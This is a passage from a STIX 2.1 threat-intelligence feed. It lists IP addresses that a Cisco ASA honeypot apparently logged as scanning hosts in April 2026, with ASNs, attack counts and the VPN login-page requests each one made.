      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--8a7f92de-b06f-40cd-bb1e-c4bd30bbc6ec",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '23.234.109.31']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-16T01:20:11.000Z",
      "valid_until": "2026-05-18T01:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 15,
          "first_seen": "2026-04-16T01:13:12.686Z",
          "last_seen": "2026-04-28T00:34:57.402Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-16T01:20:11.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--b8a83b4f-c7c7-40bb-9e1c-da998ad56b39",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '23.234.68.99']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-16T01:20:11.000Z",
      "valid_until": "2026-05-18T01:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 12,
          "first_seen": "2026-04-16T00:57:23.393Z",
          "last_seen": "2026-04-21T13:07:58.904Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-16T01:20:11.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--8958afe4-e53e-449b-92de-db1894f828c3",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '23.234.97.109']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-16T01:20:11.000Z",
      "valid_until": "2026-05-18T01:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 18,
          "first_seen": "2026-04-11T03:40:42.196Z",
          "last_seen": "2026-04-23T16:24:15.492Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-16T01:20:11.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /favicon.ico HTTP/1.1\" 404 - geo: US; ASN 14618 (Amazon.com, Inc.)",
      "id": "indicator--3222102b-1f30-4aef-b207-f3b94b663553",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '3.86.245.199']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-16T01:20:11.000Z",
      "valid_until": "2026-05-18T01:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 1,
          "first_seen": "2026-04-16T00:52:11.438Z",
          "last_seen": "2026-04-16T00:52:11.438Z",
          "country": "United States",
          "country_code": "US",
          "asn": 14618,
          "as_org": "Amazon.com, Inc.",
          "event_types": [
            "\"GET /favicon.ico HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-16T01:20:11.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 14618 (Amazon.com, Inc.)",
      "id": "indicator--91c03149-35cd-4012-a245-5a489fc6f24b",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '54.159.23.131']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-16T01:20:11.000Z",
      "valid_until": "2026-05-18T01:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 2,
          "first_seen": "2026-04-16T01:02:05.260Z",
          "last_seen": "2026-04-16T01:02:08.263Z",
          "country": "United States",
          "country_code": "US",
          "asn": 14618,
          "as_org": "Amazon.com, Inc.",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)"
          ]
        }
      }
    },
    {
      "created": "2026-04-16T01:20:11.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /robots.txt HTTP/1.1\" 404 - geo: US; ASN 14618 (Amazon.com, Inc.)",
      "id": "indicator--b8b02c8b-ad5f-4a0c-96bb-93d3ed3a5d80",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '54.91.236.142']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-16T01:20:11.000Z",
      "valid_until": "2026-05-18T01:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 1,
          "first_seen": "2026-04-16T01:02:16.179Z",
          "last_seen": "2026-04-16T01:02:16.179Z",
          "country": "United States",
          "country_code": "US",
          "asn": 14618,
          "as_org": "Amazon.com, Inc.",
          "event_types": [
            "\"GET /robots.txt HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-16T02:20:31.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 203020 (HostRoyale Technologies Pvt Ltd)",
      "id": "indicator--5ea52512-e960-4efd-b4dd-04567dedbad0",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '103.251.26.227']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-16T02:20:31.000Z",
      "valid_until": "2026-05-18T02:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 12,
          "first_seen": "2026-04-16T01:31:59.644Z",
          "last_seen": "2026-04-24T19:17:00.003Z",
          "country": "United States",
          "country_code": "US",
          "asn": 203020,
          "as_org": "HostRoyale Technologies Pvt Ltd",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-16T02:20:31.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 212238 (Datacamp Limited)",
      "id": "indicator--f91162c2-ed04-422d-9cf4-4ae42750e33f",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '138.199.43.95']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-16T02:20:31.000Z",
      "valid_until": "2026-05-18T02:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 21,
          "first_seen": "2026-04-16T01:36:40.412Z",
          "last_seen": "2026-04-27T21:20:50.820Z",
          "country": "United States",
          "country_code": "US",
          "asn": 212238,
          "as_org": "Datacamp Limited",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-16T02:20:31.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 212238 (Datacamp Limited)",
      "id": "indicator--55e2e432-72ba-4854-9fb1-33245082575b",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '149.40.50.116']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-16T02:20:31.000Z",
      "valid_until": "2026-05-18T02:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 9,
          "first_seen": "2026-04-16T02:14:01.675Z",
          "last_seen": "2026-04-29T10:46:25.406Z",
          "country": "United States",
          "country_code": "US",
          "asn": 212238,
          "as_org": "Datacamp Limited",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-16T02:20:31.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 136557 (Host Universal Pty Ltd)",
      "id": "indicator--a22403d9-db02-43af-8876-d200d8befde0",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '155.2.191.19']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-16T02:20:31.000Z",
      "valid_until": "2026-05-18T02:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 12,
          "first_seen": "2026-04-16T01:49:51.375Z",
          "last_seen": "2026-04-22T05:46:35.932Z",
          "country": "United States",
          "country_code": "US",
          "asn": 136557,
          "as_org": "Host Universal Pty Ltd",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-16T02:20:31.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--f2603c1e-848a-4031-bce3-18873864e91d",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '23.234.70.174']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-16T02:20:31.000Z",
      "valid_until": "2026-05-18T02:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 18,
          "first_seen": "2026-04-16T01:55:35.602Z",
          "last_seen": "2026-04-29T17:02:21.447Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-16T03:20:11.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 9009 (M247 Europe SRL)",
      "id": "indicator--afe33d0b-30e9-4a15-b9a4-a055fe695067",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '146.70.165.154']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-16T03:20:11.000Z",
      "valid_until": "2026-05-18T03:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 9,
          "first_seen": "2026-04-16T02:27:35.450Z",
          "last_seen": "2026-04-21T16:43:29.879Z",
          "country": "United States",
          "country_code": "US",
          "asn": 9009,
          "as_org": "M247 Europe SRL",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-16T03:20:11.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 9009 (M247 Europe SRL)",
      "id": "indicator--da7e361f-0ef9-43b8-bdee-748f10e89c3e",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '146.70.211.48']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-16T03:20:11.000Z",
      "valid_until": "2026-05-18T03:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 15,
          "first_seen": "2026-04-13T14:45:12.598Z",
          "last_seen": "2026-04-24T13:47:20.109Z",
          "country": "United States",
          "country_code": "US",
          "asn": 9009,
          "as_org": "M247 Europe SRL",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-16T03:20:11.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 136557 (Host Universal Pty Ltd)",
      "id": "indicator--5a07f825-915b-4229-a4cb-8d6c9ab4832f",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '155.2.191.25']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-16T03:20:11.000Z",
      "valid_until": "2026-05-18T03:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 12,
          "first_seen": "2026-04-16T02:32:52.676Z",
          "last_seen": "2026-04-23T08:38:21.513Z",
          "country": "United States",
          "country_code": "US",
          "asn": 136557,
          "as_org": "Host Universal Pty Ltd",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-16T03:20:11.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 32475 (Internap Holding LLC)",
      "id": "indicator--94596175-4e57-4e86-93bc-deffbc03efa5",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '203.55.131.5']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-16T03:20:11.000Z",
      "valid_until": "2026-05-18T03:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 6,
          "first_seen": "2026-04-16T03:07:31.575Z",
          "last_seen": "2026-04-26T11:33:58.982Z",
          "country": "United States",
          "country_code": "US",
          "asn": 32475,
          "as_org": "Internap Holding LLC",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "\"GET /favicon.ico HTTP/1.1\" 404 -",
            "Request timed out: TimeoutError(The read operation timed out)"
          ]
        }
      }
    },
    {
      "created": "2026-04-16T03:20:11.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 400882 (Cyber Data LLC)",
      "id": "indicator--af4ba97c-4e70-4c55-bf4e-3131dd685c06",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '23.162.40.106']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-16T03:20:11.000Z",
      "valid_until": "2026-05-18T03:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 12,
          "first_seen": "2026-04-16T02:57:27.373Z",
          "last_seen": "2026-04-28T01:00:31.087Z",
          "country": "United States",
          "country_code": "US",
          "asn": 400882,
          "as_org": "Cyber Data LLC",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-16T03:20:11.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--64d36c6a-edec-4d2e-a791-af0c7bbfdc7c",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '23.234.115.227']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-16T03:20:11.000Z",
      "valid_until": "2026-05-18T03:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 18,
          "first_seen": "2026-04-16T02:23:10.600Z",
          "last_seen": "2026-04-24T20:55:40.713Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-16T03:20:11.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--c95730cf-c0d2-45b8-8073-a73b53ec0a7f",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '23.234.115.48']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-16T03:20:11.000Z",
      "valid_until": "2026-05-18T03:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 6,
          "first_seen": "2026-04-16T02:52:08.391Z",
          "last_seen": "2026-04-18T07:45:53.040Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-16T03:20:11.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--78db26f3-1271-4226-bbad-fd9d1c1d54e3",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '23.234.99.45']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-16T03:20:11.000Z",
      "valid_until": "2026-05-18T03:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 9,
          "first_seen": "2026-04-16T02:44:40.078Z",
          "last_seen": "2026-04-24T17:25:06.928Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-16T03:20:11.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /favicon.ico HTTP/1.1\" 404 - geo: FR; ASN 213412 (ONYPHE SAS)",
      "id": "indicator--67990007-465a-453e-ac52-5dce586e762c",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '91.196.152.191']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-16T03:20:11.000Z",
      "valid_until": "2026-05-18T03:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 1,
          "first_seen": "2026-04-16T03:16:15.280Z",
          "last_seen": "2026-04-16T03:16:15.280Z",
          "country": "France",
          "country_code": "FR",
          "asn": 213412,
          "as_org": "ONYPHE SAS",
          "event_types": [
            "\"GET /favicon.ico HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-16T03:20:11.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: FR; ASN 213412 (ONYPHE SAS)",
      "id": "indicator--f153d099-37a7-42c4-aa66-c6dc905d0705",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '91.196.152.216']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
